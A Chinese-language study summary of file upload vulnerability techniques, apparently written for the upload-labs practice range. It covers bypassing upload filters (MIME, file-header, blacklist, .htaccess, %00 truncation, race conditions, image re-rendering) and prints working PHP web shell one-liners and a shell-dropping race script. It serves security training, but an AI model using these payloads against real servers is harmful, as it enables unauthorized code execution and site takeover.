文件上传漏洞知识总结
字数 1122 2025-08-11 22:57:18

文件上传漏洞知识总结

前端验证绕过

判断前端验证

  • 上传文件时,如果还未抓取到数据包浏览器就提示文件类型不正确,则多半是前端验证

绕过方法

  1. 抓包修改

    • 将shell.php重命名为shell.png上传
    • 抓包时将文件名修改回shell.php
  2. 禁用JS

    • Chrome浏览器在审查元素状态下找到Settings → Debugger → 勾选Disable JavaScript
  3. 调试JS

    • 审查元素下断点
    • 单步调试找到whitelist变量
    • 修改数组元素值
    • 放行数据包

MIME类型绕过

  • 抓取上传数据包
  • 修改Content-Type为合法类型(如image/png)

文件头绕过

  • 校验图片文件头时,使用标准图马
  • 简单方法:在文件开头添加GIF89a

黑名单绕过

缺陷代码1:替换为空

  • 使用嵌套后缀绕过(如.pphphp)

缺陷代码2:大小写绕过

  • 在Windows环境下使用.PHp等变体
  • Linux环境下无效

完整黑名单绕过

  • 尝试冷门后缀:phtml、pht、php3、php4、php5等

.htaccess解析规则

  1. 上传.htaccess文件:
    AddType application/x-httpd-php .png
    
  2. 上传shell.png,该文件将被当做PHP解析

00截断

GET型00截断

  • 路径信息通过GET传递
  • 在路径后使用%00截断(URL自动解码)

POST型00截断

  • 在BP中写入%00
  • 手动URL解码

条件竞争

  1. 准备竞争脚本:
    <?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
    
  2. 上传shell.php
  3. 使用BP无限爆破上传请求
  4. 同时爆破访问shell.php的请求

move_uploaded_file缺陷

  • 当$img_path可控时,会忽略路径末尾的/.
  • 构造payload如shell.php/.即可绕过

二次渲染绕过

GIF

  1. 准备GIF图片
  2. 上传并下载渲染后的图片
  3. 使用010Editor对比原始和渲染后文件
  4. 在未变化部分插入PHP代码

PNG

写入PLTE数据块

  • 仅适用于索引图像(在PS中将图片模式改为索引颜色)
  • 使用脚本插入payload:
    python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png
    
  • 可能需要多次渲染

写入IDAT数据块

  • 使用特定脚本生成包含payload的PNG

JPG

  • 使用脚本将数据插入特定数据块
  • 成功要点:
    • 图片稍大成功率更高
    • payload越短成功率越高
    • 白色图片成功率较高
    • 多次尝试
  • 推荐payload:<?php $_GET[0]($_POST[1]);?>

代码审计技巧

  1. 检查MIME类型验证:
    $allow_type = array('image/jpeg','image/png','image/gif');
    
  2. 检查文件名处理:
    if (!is_array($file)) {
        $file = explode('.', strtolower($file));
    }
    
  3. 构造数组payload绕过:
    $file = [0=>'shell.php/', 2=>'png']
    
  4. 利用move_uploaded_file缺陷:
    move_uploaded_file($temp_file, 'xx/xx/shell/php/.')
    
    会忽略末尾的/.,实际保存为shell.php

靶场部署

# 进入项目文件夹
cd upload-labs-docker

# 一键部署运行
docker-compose up -d
  • 默认运行在30001-30013端口
  • 可修改docker-compose.yml自定义端口
文件上传漏洞知识总结 前端验证绕过 判断前端验证 上传文件时,如果还未抓取到数据包浏览器就提示文件类型不正确,则多半是前端验证 绕过方法 抓包修改 : 将shell.php重命名为shell.png上传 抓包时将文件名修改回shell.php 禁用JS : Chrome浏览器在审查元素状态下找到Settings → Debugger → 勾选Disable JavaScript 调试JS : 审查元素下断点 单步调试找到whitelist变量 修改数组元素值 放行数据包 MIME类型绕过 抓取上传数据包 修改Content-Type为合法类型(如image/png) 文件头绕过 校验图片文件头时,使用标准图马 简单方法:在文件开头添加GIF89a 黑名单绕过 缺陷代码1:替换为空 使用嵌套后缀绕过(如.pphphp) 缺陷代码2:大小写绕过 在Windows环境下使用.PHp等变体 Linux环境下无效 完整黑名单绕过 尝试冷门后缀:phtml、pht、php3、php4、php5等 .htaccess解析规则 上传.htaccess文件: 上传shell.png,该文件将被当做PHP解析 00截断 GET型00截断 路径信息通过GET传递 在路径后使用%00截断(URL自动解码) POST型00截断 在BP中写入%00 手动URL解码 条件竞争 准备竞争脚本: 上传shell.php 使用BP无限爆破上传请求 同时爆破访问shell.php的请求 move_ uploaded_ file缺陷 当$img_ path可控时,会忽略路径末尾的/. 构造payload如shell.php/.即可绕过 二次渲染绕过 GIF 准备GIF图片 上传并下载渲染后的图片 使用010Editor对比原始和渲染后文件 在未变化部分插入PHP代码 PNG 写入PLTE数据块 仅适用于索引图像(在PS中将图片模式改为索引颜色) 使用脚本插入payload: 可能需要多次渲染 写入IDAT数据块 使用特定脚本生成包含payload的PNG JPG 使用脚本将数据插入特定数据块 成功要点: 图片稍大成功率更高 payload越短成功率越高 白色图片成功率较高 多次尝试 推荐payload: <?php $_GET[0]($_POST[1]);?> 代码审计技巧 检查MIME类型验证: 检查文件名处理: 构造数组payload绕过: 利用move_ uploaded_ file缺陷: 会忽略末尾的/.,实际保存为shell.php 靶场部署 默认运行在30001-30013端口 可修改docker-compose.yml自定义端口